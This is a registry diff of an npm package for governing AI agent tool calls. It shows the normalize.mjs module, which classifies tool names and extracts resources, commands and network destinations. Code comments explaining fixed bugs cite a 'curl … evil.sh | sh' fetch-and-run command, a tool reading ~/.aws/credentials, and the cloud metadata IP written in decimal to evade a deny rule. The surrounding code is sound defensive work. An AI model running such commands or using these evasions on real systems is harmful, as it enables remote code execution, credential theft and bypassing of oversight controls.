@cirvix_ai/agent-control 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +202 -0
- package/NOTICE +42 -0
- package/README.md +341 -0
- package/action/README.md +100 -0
- package/action/action.yml +134 -0
- package/action/report.mjs +144 -0
- package/bin/cirvix.mjs +1073 -0
- package/package.json +60 -0
- package/src/commands/demo.mjs +315 -0
- package/src/commands/init.mjs +558 -0
- package/src/commands/policy.mjs +345 -0
- package/src/commands/sarif.mjs +176 -0
- package/src/commands/scan.mjs +210 -0
- package/src/commands/status.mjs +208 -0
- package/src/commands/upgrade.mjs +162 -0
- package/src/core/approvals.mjs +388 -0
- package/src/core/audit.mjs +181 -0
- package/src/core/canonical.mjs +316 -0
- package/src/core/daemon.mjs +352 -0
- package/src/core/decisions.mjs +253 -0
- package/src/core/delegation.mjs +658 -0
- package/src/core/detect.mjs +337 -0
- package/src/core/entitlement-gate.mjs +100 -0
- package/src/core/entitlements.mjs +285 -0
- package/src/core/format.mjs +33 -0
- package/src/core/gateway.mjs +959 -0
- package/src/core/guard.mjs +568 -0
- package/src/core/http-transport.mjs +505 -0
- package/src/core/journal.mjs +419 -0
- package/src/core/jsonrpc.mjs +152 -0
- package/src/core/meter.mjs +225 -0
- package/src/core/normalize.mjs +516 -0
- package/src/core/notices.mjs +80 -0
- package/src/core/pipeline.mjs +629 -0
- package/src/core/policy-dsl.mjs +611 -0
- package/src/core/policy.mjs +710 -0
- package/src/core/prompts.mjs +146 -0
- package/src/core/risk.mjs +509 -0
- package/src/core/sanitize.mjs +279 -0
- package/src/core/secret-detect.mjs +533 -0
- package/src/core/secrets.mjs +312 -0
- package/src/core/uds.mjs +383 -0
- package/src/core/vault.mjs +530 -0
- package/src/index.mjs +143 -0
- package/src/testing.mjs +145 -0
|
@@ -0,0 +1,516 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tool-call normalization — the agent-neutral envelope.
|
|
3
|
+
*
|
|
4
|
+
* This is the module that makes Cirvix a control plane rather than an MCP
|
|
5
|
+
* proxy. Every request, whatever spoke it, becomes one shape:
|
|
6
|
+
*
|
|
7
|
+
* {
|
|
8
|
+
* request_id: "req_8a91…",
|
|
9
|
+
* agent: "claude-code",
|
|
10
|
+
* tool: "filesystem.read",
|
|
11
|
+
* action: "fs.read",
|
|
12
|
+
* arguments: { path: "./src/app.ts" },
|
|
13
|
+
* resource: "/abs/path/src/app.ts",
|
|
14
|
+
* source: "mcp",
|
|
15
|
+
* timestamp: "2026-08-12T…",
|
|
16
|
+
* risk: "low"
|
|
17
|
+
* }
|
|
18
|
+
*
|
|
19
|
+
* After this point nothing downstream knows or cares whether the call arrived
|
|
20
|
+
* over MCP stdio, MCP HTTP, the UDS socket, or `guard.wrap()` inside a LangGraph
|
|
21
|
+
* executor. The policy engine sees one vocabulary; a rule written once governs
|
|
22
|
+
* every agent that will ever connect.
|
|
23
|
+
*
|
|
24
|
+
* TWO NAMES FOR THE SAME THING, ON PURPOSE
|
|
25
|
+
*
|
|
26
|
+
* `tool` is the canonical *public* name — `filesystem.read`, `shell.exec`,
|
|
27
|
+
* `database.write` — which is what people write in policy files and what the
|
|
28
|
+
* console displays. `action` is the terse internal vocabulary the deployed
|
|
29
|
+
* engine already uses — `fs.read`, `shell.exec`, `db.write`.
|
|
30
|
+
*
|
|
31
|
+
* Carrying both is not redundancy. Policy files in the wild are written against
|
|
32
|
+
* `action`, and renaming it would silently break every deployed rule set; the
|
|
33
|
+
* blueprint and the docs are written against `tool`, and a product whose docs
|
|
34
|
+
* do not match its policy syntax is a product nobody can configure. So both are
|
|
35
|
+
* present, `ALIASES` maps every spelling to one canonical pair, and a rule
|
|
36
|
+
* matching either form matches the same calls.
|
|
37
|
+
*/
|
|
38
|
+
|
|
39
|
+
import { classify } from "./risk.mjs";
|
|
40
|
+
import { canonicalizeResource } from "./policy.mjs";
|
|
41
|
+
import { canonicalHost, canonicalUrl } from "./canonical.mjs";
|
|
42
|
+
|
|
43
|
+
/* -------------------------------------------------------------------------- */
|
|
44
|
+
/* Taxonomy */
|
|
45
|
+
/* -------------------------------------------------------------------------- */
|
|
46
|
+
|
|
47
|
+
/**
|
|
48
|
+
* The canonical tool namespace.
|
|
49
|
+
*
|
|
50
|
+
* `tool` is the public name; `action` is what the engine matches on. Ordered
|
|
51
|
+
* most-specific first — `git.status` must be recognised before a generic
|
|
52
|
+
* `*.status` would catch it.
|
|
53
|
+
*/
|
|
54
|
+
export const TAXONOMY = [
|
|
55
|
+
// Version control — read-only, the LOW baseline.
|
|
56
|
+
{ tool: "git.status", action: "vcs.read", match: /^git[._ -]?(status|st)$/i },
|
|
57
|
+
{ tool: "git.log", action: "vcs.read", match: /^git[._ -]?(log|history)$/i },
|
|
58
|
+
{ tool: "git.diff", action: "vcs.read", match: /^git[._ -]?(diff|show)$/i },
|
|
59
|
+
{ tool: "git.branch", action: "vcs.write", match: /^git[._ -]?(branch|checkout|switch)$/i },
|
|
60
|
+
{ tool: "git.commit", action: "vcs.write", match: /^git[._ -]?commit$/i },
|
|
61
|
+
{ tool: "git.push", action: "vcs.push", match: /^git[._ -]?push$/i },
|
|
62
|
+
|
|
63
|
+
// Filesystem.
|
|
64
|
+
{ tool: "filesystem.read", action: "fs.read", match: /(^|[._-])(read|cat|open|load|slurp)([._-]|$)/i },
|
|
65
|
+
{ tool: "filesystem.list", action: "fs.list", match: /(^|[._-])(list|ls|dir|readdir|tree|glob)([._-]|$)/i },
|
|
66
|
+
{ tool: "filesystem.search", action: "fs.search", match: /(^|[._-])(search|find|grep|rg|ripgrep)([._-]|$)/i },
|
|
67
|
+
{ tool: "filesystem.stat", action: "fs.stat", match: /(^|[._-])(stat|exists|metadata)([._-]|$)/i },
|
|
68
|
+
{ tool: "filesystem.write", action: "fs.write", match: /(^|[._-])(write|create|put|save|edit|patch|append|touch|mkdir)([._-]|$)/i },
|
|
69
|
+
{ tool: "filesystem.delete", action: "fs.delete", match: /(^|[._-])(delete|remove|rm|unlink|rmdir)([._-]|$)/i },
|
|
70
|
+
{ tool: "filesystem.move", action: "fs.move", match: /(^|[._-])(move|mv|rename|copy|cp)([._-]|$)/i },
|
|
71
|
+
|
|
72
|
+
// Execution.
|
|
73
|
+
{ tool: "shell.exec", action: "shell.exec", match: /(^|[._-])(exec|execute|run|shell|bash|sh|zsh|powershell|cmd|command|spawn|terminal)([._-]|$)/i },
|
|
74
|
+
{ tool: "package.install", action: "pkg.install", match: /(^|[._-])(install|add[-_]?dependency|npm[-_]?install|pip[-_]?install)([._-]|$)/i },
|
|
75
|
+
|
|
76
|
+
// Data.
|
|
77
|
+
{ tool: "database.query", action: "db.read", match: /(^|[._-])(query|select|find[-_]?one|find[-_]?many|fetch[-_]?rows)([._-]|$)/i },
|
|
78
|
+
{ tool: "database.write", action: "db.write", match: /(^|[._-])(insert|update|upsert|delete[-_]?row|execute[-_]?sql|mutate)([._-]|$)/i },
|
|
79
|
+
{ tool: "database.migrate", action: "db.migrate", match: /(^|[._-])(migrate|migration|schema[-_]?change)([._-]|$)/i },
|
|
80
|
+
|
|
81
|
+
// Network.
|
|
82
|
+
{ tool: "network.request", action: "http.request", match: /(^|[._-])(request|http|https|fetch|curl|get[-_]?url|post|browse|scrape|crawl|web[-_]?search)([._-]|$)/i },
|
|
83
|
+
|
|
84
|
+
// Infrastructure.
|
|
85
|
+
{ tool: "deploy.apply", action: "k8s.apply", match: /(^|[._-])(apply|deploy|rollout|release|promote|helm|terraform)([._-]|$)/i },
|
|
86
|
+
|
|
87
|
+
// Credentials.
|
|
88
|
+
{ tool: "secrets.get", action: "secrets.read", match: /(^|[._-])(secret|credential|token|password|vault|keychain)([._-]|$)/i },
|
|
89
|
+
];
|
|
90
|
+
|
|
91
|
+
/**
|
|
92
|
+
* Spellings that mean the same action.
|
|
93
|
+
*
|
|
94
|
+
* Consulted when a policy rule names an action, so `filesystem.read` and
|
|
95
|
+
* `fs.read` are one rule and neither breaks. Bidirectional by construction: the
|
|
96
|
+
* canonical form maps to itself.
|
|
97
|
+
*/
|
|
98
|
+
export const ALIASES = new Map();
|
|
99
|
+
for (const entry of TAXONOMY) {
|
|
100
|
+
ALIASES.set(entry.tool, entry.action);
|
|
101
|
+
ALIASES.set(entry.action, entry.action);
|
|
102
|
+
}
|
|
103
|
+
// Spellings people write that are not a taxonomy entry's primary name.
|
|
104
|
+
for (const [alias, action] of Object.entries({
|
|
105
|
+
"fs.*": "fs.*",
|
|
106
|
+
"file.read": "fs.read",
|
|
107
|
+
"file.write": "fs.write",
|
|
108
|
+
"files.read": "fs.read",
|
|
109
|
+
"filesystem.*": "fs.*",
|
|
110
|
+
"network.*": "http.*",
|
|
111
|
+
"net.request": "http.request",
|
|
112
|
+
"http.get": "http.request",
|
|
113
|
+
"http.post": "http.request",
|
|
114
|
+
"shell.run": "shell.exec",
|
|
115
|
+
"process.spawn": "shell.exec",
|
|
116
|
+
"command.execute": "shell.exec",
|
|
117
|
+
"db.*": "db.*",
|
|
118
|
+
"database.*": "db.*",
|
|
119
|
+
"sql.execute": "db.write",
|
|
120
|
+
"k8s.deploy": "k8s.apply",
|
|
121
|
+
"kubernetes.apply": "k8s.apply",
|
|
122
|
+
})) {
|
|
123
|
+
ALIASES.set(alias, action);
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/** Resolves any spelling of an action to its canonical form. */
|
|
127
|
+
export function canonicalAction(name) {
|
|
128
|
+
if (typeof name !== "string" || !name) return name;
|
|
129
|
+
const direct = ALIASES.get(name);
|
|
130
|
+
if (direct) return direct;
|
|
131
|
+
// `filesystem.**` → `fs.**`, so glob patterns alias too.
|
|
132
|
+
const prefixed = name.replace(/^(filesystem|file|files)\./, "fs.").replace(/^(network|net)\./, "http.").replace(/^database\./, "db.");
|
|
133
|
+
return ALIASES.get(prefixed) ?? prefixed;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
/** The public name for a canonical action, for display. */
|
|
137
|
+
export function publicToolName(action) {
|
|
138
|
+
const entry = TAXONOMY.find((t) => t.action === action);
|
|
139
|
+
return entry?.tool ?? action;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
/**
|
|
143
|
+
* Classifies a raw tool name into `{ tool, action }`.
|
|
144
|
+
*
|
|
145
|
+
* An unrecognised name is NOT forced into the nearest bucket. It keeps its own
|
|
146
|
+
* namespaced identity (`mcp.<server>.<tool>`) and policy must name it
|
|
147
|
+
* explicitly. Guessing here would be the worst possible failure: a tool that
|
|
148
|
+
* deletes production data, misfiled as `fs.read` because it was called `getRid`,
|
|
149
|
+
* would inherit a read rule's permission.
|
|
150
|
+
*/
|
|
151
|
+
/**
|
|
152
|
+
* Names that say "this operates on a file", whatever verb they use.
|
|
153
|
+
*
|
|
154
|
+
* Checked before the suffix patterns because the verb alone is ambiguous and
|
|
155
|
+
* the ambiguity is dangerous in one specific direction: `fetch_file` matched
|
|
156
|
+
* `network.request` (which contains `fetch`) and was therefore governed by the
|
|
157
|
+
* egress rules instead of the filesystem ones — so a tool named `fetch_file`
|
|
158
|
+
* could read `~/.aws/credentials` while every credential rule in the policy
|
|
159
|
+
* looked on. `get_file`, `load_file`, and `file_get_contents` had the same
|
|
160
|
+
* shape. The generated corpus found all four.
|
|
161
|
+
*
|
|
162
|
+
* A name that mentions a file is a filesystem operation. The verb then decides
|
|
163
|
+
* which one.
|
|
164
|
+
*/
|
|
165
|
+
const FILE_SUBJECT = /(^|[._-])(file|files|filepath|path|dir|directory|folder)([._-]|s?$)/i;
|
|
166
|
+
|
|
167
|
+
/**
|
|
168
|
+
* Names that say "this goes over the network", whatever else they contain.
|
|
169
|
+
*
|
|
170
|
+
* Checked before the taxonomy for the same reason `FILE_SUBJECT` is, and
|
|
171
|
+
* because of a symmetric failure: `web_search` matched `filesystem.search`
|
|
172
|
+
* (which owns the `search` suffix and is listed earlier), so a web search was
|
|
173
|
+
* governed by the workspace-path rules and default-denied. `browser_fetch`,
|
|
174
|
+
* `http_get`, and `url_open` had the same shape.
|
|
175
|
+
*
|
|
176
|
+
* The subject wins over the verb: a name that says `web`, `url`, `http`, or
|
|
177
|
+
* `browser` is a network call regardless of what it does there.
|
|
178
|
+
*/
|
|
179
|
+
const NETWORK_SUBJECT = /(^|[._-])(web|url|uri|http|https|browser|internet|remote|api)([._-]|$)/i;
|
|
180
|
+
|
|
181
|
+
/**
|
|
182
|
+
* Splits camelCase into the underscore form the patterns are written against.
|
|
183
|
+
*
|
|
184
|
+
* `readFile` matched nothing at all: the `filesystem.read` pattern needs a
|
|
185
|
+
* separator or end-of-string after `read`, and camelCase provides neither, so
|
|
186
|
+
* the tool fell through to `tool.readFile` and was default-denied. `readFile`
|
|
187
|
+
* is one of the most common MCP tool names in existence, so this was not an
|
|
188
|
+
* edge case — the generated corpus surfaced 135 false positives from it.
|
|
189
|
+
*
|
|
190
|
+
* Applied only for matching. The recorded `raw_tool` keeps the original
|
|
191
|
+
* spelling, because the audit record must say what the agent actually called.
|
|
192
|
+
*/
|
|
193
|
+
export function splitCamelCase(name) {
|
|
194
|
+
return String(name ?? "")
|
|
195
|
+
.replace(/([a-z0-9])([A-Z])/g, "$1_$2")
|
|
196
|
+
.replace(/([A-Z]+)([A-Z][a-z])/g, "$1_$2")
|
|
197
|
+
.toLowerCase();
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
/** Verbs, once the subject is known to be a file. */
|
|
201
|
+
const FILE_VERBS = [
|
|
202
|
+
{ action: "fs.delete", match: /(^|[._-])(delete|remove|rm|unlink|destroy)([._-]|$)/i },
|
|
203
|
+
{ action: "fs.write", match: /(^|[._-])(write|create|put|save|edit|patch|append|touch|mkdir|upload)([._-]|$)/i },
|
|
204
|
+
{ action: "fs.move", match: /(^|[._-])(move|mv|rename|copy|cp)([._-]|$)/i },
|
|
205
|
+
{ action: "fs.list", match: /(^|[._-])(list|ls|dir|readdir|tree|glob)([._-]|$)/i },
|
|
206
|
+
{ action: "fs.search", match: /(^|[._-])(search|find|grep|rg)([._-]|$)/i },
|
|
207
|
+
{ action: "fs.stat", match: /(^|[._-])(stat|exists|metadata|info)([._-]|$)/i },
|
|
208
|
+
// Read last: it is the fallback for anything that names a file and does not
|
|
209
|
+
// say it is changing it. Erring toward "read" is right here — the read rules
|
|
210
|
+
// are the strict ones, so a misfile lands on the safer side.
|
|
211
|
+
{ action: "fs.read", match: /.*/ },
|
|
212
|
+
];
|
|
213
|
+
|
|
214
|
+
export function classifyTool(name, server = null) {
|
|
215
|
+
const raw = String(name ?? "");
|
|
216
|
+
|
|
217
|
+
// An exact canonical name short-circuits the regexes.
|
|
218
|
+
//
|
|
219
|
+
// Not an optimization — a correctness fix. The suffix patterns are matched in
|
|
220
|
+
// order, and `database.write` hit `filesystem.write`'s `(write)$` rule first,
|
|
221
|
+
// so a call already named with the canonical database action was governed by
|
|
222
|
+
// filesystem rules. Anything that already spells a taxonomy name means that
|
|
223
|
+
// name, and no amount of pattern reordering makes that safe to infer twice.
|
|
224
|
+
const exact = TAXONOMY.find((t) => t.tool === raw || t.action === raw);
|
|
225
|
+
if (exact) return { tool: exact.tool, action: exact.action };
|
|
226
|
+
|
|
227
|
+
const aliased = ALIASES.get(raw);
|
|
228
|
+
if (aliased) {
|
|
229
|
+
const entry = TAXONOMY.find((t) => t.action === aliased);
|
|
230
|
+
if (entry) return { tool: entry.tool, action: entry.action };
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
/*
|
|
234
|
+
* Everything below matches against the camelCase-split form.
|
|
235
|
+
*
|
|
236
|
+
* The patterns are written with `[._-]` separators, so `readFile` matched
|
|
237
|
+
* none of them and was default-denied. Splitting first means `readFile`,
|
|
238
|
+
* `read_file`, and `read-file` are one tool.
|
|
239
|
+
*/
|
|
240
|
+
const spelled = splitCamelCase(raw);
|
|
241
|
+
|
|
242
|
+
// A name that says network is a network call, whatever verb it uses. First,
|
|
243
|
+
// because `web_search` would otherwise be claimed by `filesystem.search`.
|
|
244
|
+
if (NETWORK_SUBJECT.test(spelled)) {
|
|
245
|
+
const entry = TAXONOMY.find((t) => t.action === "http.request");
|
|
246
|
+
if (entry) return { tool: entry.tool, action: entry.action };
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
// A name that says "file" is a filesystem operation, whatever verb it uses.
|
|
250
|
+
// This runs before the suffix patterns so `fetch_file` cannot be captured by
|
|
251
|
+
// `network.request` — see FILE_SUBJECT.
|
|
252
|
+
if (FILE_SUBJECT.test(spelled)) {
|
|
253
|
+
const verb = FILE_VERBS.find((v) => v.match.test(spelled));
|
|
254
|
+
const entry = TAXONOMY.find((t) => t.action === verb.action);
|
|
255
|
+
if (entry) return { tool: entry.tool, action: entry.action };
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
for (const entry of TAXONOMY) {
|
|
259
|
+
if (entry.match.test(spelled)) return { tool: entry.tool, action: entry.action };
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
const fallback = server ? `mcp.${server}.${raw}` : `tool.${raw}`;
|
|
263
|
+
return { tool: fallback, action: fallback };
|
|
264
|
+
}
|
|
265
|
+
|
|
266
|
+
/* -------------------------------------------------------------------------- */
|
|
267
|
+
/* Request ids */
|
|
268
|
+
/* -------------------------------------------------------------------------- */
|
|
269
|
+
|
|
270
|
+
let counter = 0;
|
|
271
|
+
|
|
272
|
+
/**
|
|
273
|
+
* A short, sortable, collision-resistant id.
|
|
274
|
+
*
|
|
275
|
+
* Time-prefixed so ids sort chronologically in a log tail, which is how they
|
|
276
|
+
* are actually read. The counter disambiguates calls inside the same
|
|
277
|
+
* millisecond — a busy agent makes several, and two records sharing an id makes
|
|
278
|
+
* `cirvix replay` ambiguous.
|
|
279
|
+
*/
|
|
280
|
+
export function requestId(prefix = "req") {
|
|
281
|
+
counter = (counter + 1) % 0xffff;
|
|
282
|
+
const t = Date.now().toString(36).padStart(9, "0");
|
|
283
|
+
const n = counter.toString(36).padStart(3, "0");
|
|
284
|
+
return `${prefix}_${t}${n}`;
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
/* -------------------------------------------------------------------------- */
|
|
288
|
+
/* Normalization */
|
|
289
|
+
/* -------------------------------------------------------------------------- */
|
|
290
|
+
|
|
291
|
+
/** Where a call entered the runtime. */
|
|
292
|
+
export const SOURCE = {
|
|
293
|
+
MCP: "mcp",
|
|
294
|
+
MCP_HTTP: "mcp-http",
|
|
295
|
+
UDS: "uds",
|
|
296
|
+
SDK: "sdk",
|
|
297
|
+
CLI: "cli",
|
|
298
|
+
REPLAY: "replay",
|
|
299
|
+
};
|
|
300
|
+
|
|
301
|
+
/** Argument keys that name the thing a call acts on, most specific first. */
|
|
302
|
+
const RESOURCE_KEYS = [
|
|
303
|
+
"path",
|
|
304
|
+
"file",
|
|
305
|
+
"filename",
|
|
306
|
+
"filepath",
|
|
307
|
+
"file_path",
|
|
308
|
+
"absolute_path",
|
|
309
|
+
"uri",
|
|
310
|
+
"url",
|
|
311
|
+
"endpoint",
|
|
312
|
+
"resource",
|
|
313
|
+
"target",
|
|
314
|
+
"destination",
|
|
315
|
+
"table",
|
|
316
|
+
"collection",
|
|
317
|
+
"query",
|
|
318
|
+
"sql",
|
|
319
|
+
];
|
|
320
|
+
|
|
321
|
+
/**
|
|
322
|
+
* Extracts the resource a call targets.
|
|
323
|
+
*
|
|
324
|
+
* Best-effort by design: an unrecognised shape yields the empty string so the
|
|
325
|
+
* call is still evaluated rather than skipped. A call whose resource cannot be
|
|
326
|
+
* read is not a call that gets a free pass — it just gets evaluated against the
|
|
327
|
+
* rules that do not name a resource, and default-deny catches the rest.
|
|
328
|
+
*/
|
|
329
|
+
/**
|
|
330
|
+
* Keys that hold a command, never a resource.
|
|
331
|
+
*
|
|
332
|
+
* Excluded from the fallback scan below. Without this, `{ command: "curl x | sh" }`
|
|
333
|
+
* had no resource key, fell through to "first string value", and the command
|
|
334
|
+
* was canonicalized as a filesystem path — producing a resource like
|
|
335
|
+
* `<cwd>/curl https:/evil.sh | sh`, which is not a path, appears in the audit
|
|
336
|
+
* record as though it were, and would be matched against path rules.
|
|
337
|
+
*/
|
|
338
|
+
const COMMAND_KEYS = new Set(["command", "cmd", "script", "shell", "exec", "run", "args", "argv", "body", "content", "text", "prompt"]);
|
|
339
|
+
|
|
340
|
+
export function extractResource(args) {
|
|
341
|
+
if (!args || typeof args !== "object") return "";
|
|
342
|
+
for (const key of RESOURCE_KEYS) {
|
|
343
|
+
const v = args[key];
|
|
344
|
+
if (typeof v === "string" && v.length) return v;
|
|
345
|
+
}
|
|
346
|
+
const fallback = Object.entries(args).find(
|
|
347
|
+
([k, v]) => !COMMAND_KEYS.has(k) && typeof v === "string" && v.length,
|
|
348
|
+
);
|
|
349
|
+
return fallback ? fallback[1] : "";
|
|
350
|
+
}
|
|
351
|
+
|
|
352
|
+
/**
|
|
353
|
+
* The endpoint a call will reach, or null. Only an absolute http(s) URL counts.
|
|
354
|
+
*
|
|
355
|
+
* Returns the CANONICAL form. A destination rule is matched as a string, so
|
|
356
|
+
* handing it the raw URL meant `deny: network.destination = 169.254.169.254`
|
|
357
|
+
* did not match `http://2852039166/latest/meta-data/` — the same address in
|
|
358
|
+
* decimal, which every HTTP client dials identically. The risk engine already
|
|
359
|
+
* caught those, because it read the host through the URL parser; the policy did
|
|
360
|
+
* not, and the policy is what blocks.
|
|
361
|
+
*/
|
|
362
|
+
export function extractDestination(args, resource) {
|
|
363
|
+
for (const candidate of [args?.url, args?.uri, args?.endpoint, args?.href, resource]) {
|
|
364
|
+
if (typeof candidate === "string" && /^https?:\/\//i.test(candidate)) {
|
|
365
|
+
return canonicalUrl(candidate) ?? candidate;
|
|
366
|
+
}
|
|
367
|
+
}
|
|
368
|
+
return null;
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
/** The shell command a call carries, flattened from whichever shape it used. */
|
|
372
|
+
export function extractCommand(args) {
|
|
373
|
+
if (!args || typeof args !== "object") return null;
|
|
374
|
+
for (const key of ["command", "cmd", "script", "shell", "exec", "run", "args"]) {
|
|
375
|
+
const v = args[key];
|
|
376
|
+
if (typeof v === "string" && v) return v;
|
|
377
|
+
if (Array.isArray(v) && v.length && v.every((x) => typeof x === "string")) return v.join(" ");
|
|
378
|
+
}
|
|
379
|
+
return null;
|
|
380
|
+
}
|
|
381
|
+
|
|
382
|
+
/**
|
|
383
|
+
* Normalizes one raw tool call into the envelope every downstream stage reads.
|
|
384
|
+
*
|
|
385
|
+
* @param {object} raw
|
|
386
|
+
* @param {string} raw.tool the tool name as the caller spelled it
|
|
387
|
+
* @param {string|null} [raw.server] MCP server, when there is one
|
|
388
|
+
* @param {object} [raw.arguments]
|
|
389
|
+
* @param {object} [ctx]
|
|
390
|
+
* @param {string} [ctx.agent]
|
|
391
|
+
* @param {string} [ctx.source]
|
|
392
|
+
* @param {string} [ctx.cwd]
|
|
393
|
+
* @param {string} [ctx.environment]
|
|
394
|
+
* @param {boolean} [ctx.touchedSecret]
|
|
395
|
+
* @param {number} [ctx.secretsDetected]
|
|
396
|
+
* @param {string} [ctx.runId]
|
|
397
|
+
* @param {string} [ctx.timestamp] injected for reproducible tests
|
|
398
|
+
* @returns {object} the normalized call, including its risk classification
|
|
399
|
+
*/
|
|
400
|
+
export function normalize(raw, ctx = {}) {
|
|
401
|
+
const args = raw.arguments ?? raw.args ?? {};
|
|
402
|
+
const server = raw.server ?? null;
|
|
403
|
+
const { tool, action } = classifyTool(raw.tool, server);
|
|
404
|
+
|
|
405
|
+
const cwd = ctx.cwd ?? process.cwd();
|
|
406
|
+
const rawResource = extractResource(args);
|
|
407
|
+
const resource = rawResource ? canonicalizeResource(rawResource, cwd) : "";
|
|
408
|
+
const destination = extractDestination(args, rawResource);
|
|
409
|
+
const command = extractCommand(args);
|
|
410
|
+
|
|
411
|
+
const insideWorkspace = isInsideWorkspace(cwd, resource);
|
|
412
|
+
const egress = classifyEgress(destination ?? rawResource);
|
|
413
|
+
|
|
414
|
+
const call = {
|
|
415
|
+
request_id: raw.request_id ?? requestId(),
|
|
416
|
+
run_id: ctx.runId ?? null,
|
|
417
|
+
agent: ctx.agent ?? "unknown",
|
|
418
|
+
source: ctx.source ?? SOURCE.MCP,
|
|
419
|
+
timestamp: ctx.timestamp ?? new Date().toISOString(),
|
|
420
|
+
|
|
421
|
+
// Identity of the call.
|
|
422
|
+
tool,
|
|
423
|
+
action,
|
|
424
|
+
server,
|
|
425
|
+
raw_tool: String(raw.tool ?? ""),
|
|
426
|
+
|
|
427
|
+
// What it acts on.
|
|
428
|
+
arguments: args,
|
|
429
|
+
resource,
|
|
430
|
+
raw_resource: rawResource,
|
|
431
|
+
destination,
|
|
432
|
+
command,
|
|
433
|
+
sql: typeof args.sql === "string" ? args.sql : typeof args.query === "string" ? args.query : null,
|
|
434
|
+
|
|
435
|
+
// Environment the decision depends on.
|
|
436
|
+
environment: ctx.environment ?? "local",
|
|
437
|
+
insideWorkspace,
|
|
438
|
+
egress,
|
|
439
|
+
touchedSecret: Boolean(ctx.touchedSecret),
|
|
440
|
+
secretsDetected: ctx.secretsDetected ?? 0,
|
|
441
|
+
};
|
|
442
|
+
|
|
443
|
+
const risk = classify(call);
|
|
444
|
+
call.risk = risk.level;
|
|
445
|
+
call.risk_signals = risk.signals.map((s) => s.id);
|
|
446
|
+
call.risk_reason = risk.reason;
|
|
447
|
+
|
|
448
|
+
return call;
|
|
449
|
+
}
|
|
450
|
+
|
|
451
|
+
/**
|
|
452
|
+
* The context object the policy engine reads conditions against.
|
|
453
|
+
*
|
|
454
|
+
* Built from a normalized call so the two can never disagree about, say,
|
|
455
|
+
* whether a path was inside the workspace. A second implementation of this
|
|
456
|
+
* mapping is a second policy.
|
|
457
|
+
*/
|
|
458
|
+
export function policyContext(call) {
|
|
459
|
+
return {
|
|
460
|
+
environment: call.environment,
|
|
461
|
+
path: { insideWorkspace: call.insideWorkspace },
|
|
462
|
+
egress: {
|
|
463
|
+
external: call.egress === "external",
|
|
464
|
+
internal: call.egress === "internal",
|
|
465
|
+
allowlisted: Boolean(call.allowlisted),
|
|
466
|
+
destination: call.destination,
|
|
467
|
+
},
|
|
468
|
+
session: { touchedSecret: call.touchedSecret },
|
|
469
|
+
mcp: { server: call.server, tool: call.raw_tool },
|
|
470
|
+
risk: call.risk,
|
|
471
|
+
tool: call.tool,
|
|
472
|
+
command: call.command,
|
|
473
|
+
secrets: { detected: call.secretsDetected },
|
|
474
|
+
};
|
|
475
|
+
}
|
|
476
|
+
|
|
477
|
+
/** The policy request for a normalized call. */
|
|
478
|
+
export function policyRequest(call) {
|
|
479
|
+
return {
|
|
480
|
+
agent: call.agent,
|
|
481
|
+
action: call.action,
|
|
482
|
+
resource: call.resource,
|
|
483
|
+
context: policyContext(call),
|
|
484
|
+
};
|
|
485
|
+
}
|
|
486
|
+
|
|
487
|
+
/* -------------------------------------------------------------------------- */
|
|
488
|
+
|
|
489
|
+
function isInsideWorkspace(cwd, resource) {
|
|
490
|
+
if (!resource) return true;
|
|
491
|
+
if (/^[a-z][a-z0-9+.-]*:\/\//i.test(resource)) return false;
|
|
492
|
+
const norm = (s) => String(s).replace(/\\/g, "/").replace(/\/+$/, "").toLowerCase();
|
|
493
|
+
const abs = /^([A-Za-z]:|\/)/.test(resource) ? resource : `${cwd}/${resource}`;
|
|
494
|
+
const parts = [];
|
|
495
|
+
for (const seg of norm(abs).split("/")) {
|
|
496
|
+
if (seg === "..") parts.pop();
|
|
497
|
+
else if (seg !== ".") parts.push(seg);
|
|
498
|
+
}
|
|
499
|
+
const flat = parts.join("/");
|
|
500
|
+
const root = norm(cwd);
|
|
501
|
+
return flat === root || flat.startsWith(root + "/");
|
|
502
|
+
}
|
|
503
|
+
|
|
504
|
+
function classifyEgress(target) {
|
|
505
|
+
if (typeof target !== "string" || !/^https?:\/\//i.test(target)) return "none";
|
|
506
|
+
let host;
|
|
507
|
+
try {
|
|
508
|
+
host = new URL(target).hostname.toLowerCase();
|
|
509
|
+
} catch {
|
|
510
|
+
return "external";
|
|
511
|
+
}
|
|
512
|
+
if (/^(localhost|127\.|0\.0\.0\.0|::1)/.test(host)) return "none";
|
|
513
|
+
if (/^(10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.)/.test(host)) return "internal";
|
|
514
|
+
if (/\.(internal|local|localdomain|test|invalid)$/.test(host)) return "internal";
|
|
515
|
+
return "external";
|
|
516
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* When a commercial notice is shown, and to which stream.
|
|
3
|
+
*
|
|
4
|
+
* WHY THIS FILE EXISTS
|
|
5
|
+
*
|
|
6
|
+
* `prompts.mjs` had the copy — quota reached, agent limit reached, the one
|
|
7
|
+
* soft nudge — written carefully, tested, and imported by nothing. `Meter`
|
|
8
|
+
* had `shouldNudge()`, called by nothing. So the wording that the whole
|
|
9
|
+
* conversion argument depends on was never shown to anybody.
|
|
10
|
+
*
|
|
11
|
+
* `prompts.mjs` deliberately decides nothing: it is strings, and it says so.
|
|
12
|
+
* This file is the missing half — the decision about when to speak — kept out
|
|
13
|
+
* of the CLI so it can be tested without a terminal.
|
|
14
|
+
*
|
|
15
|
+
* STDERR, ALWAYS
|
|
16
|
+
*
|
|
17
|
+
* The gateway's stdout carries MCP protocol frames. A notice written there
|
|
18
|
+
* corrupts the wire and the agent fails in a way nobody will attribute to a
|
|
19
|
+
* marketing line. Every notice goes to stderr, on every path, so there is no
|
|
20
|
+
* per-call-site judgement to get wrong.
|
|
21
|
+
*
|
|
22
|
+
* AT MOST ONCE EACH
|
|
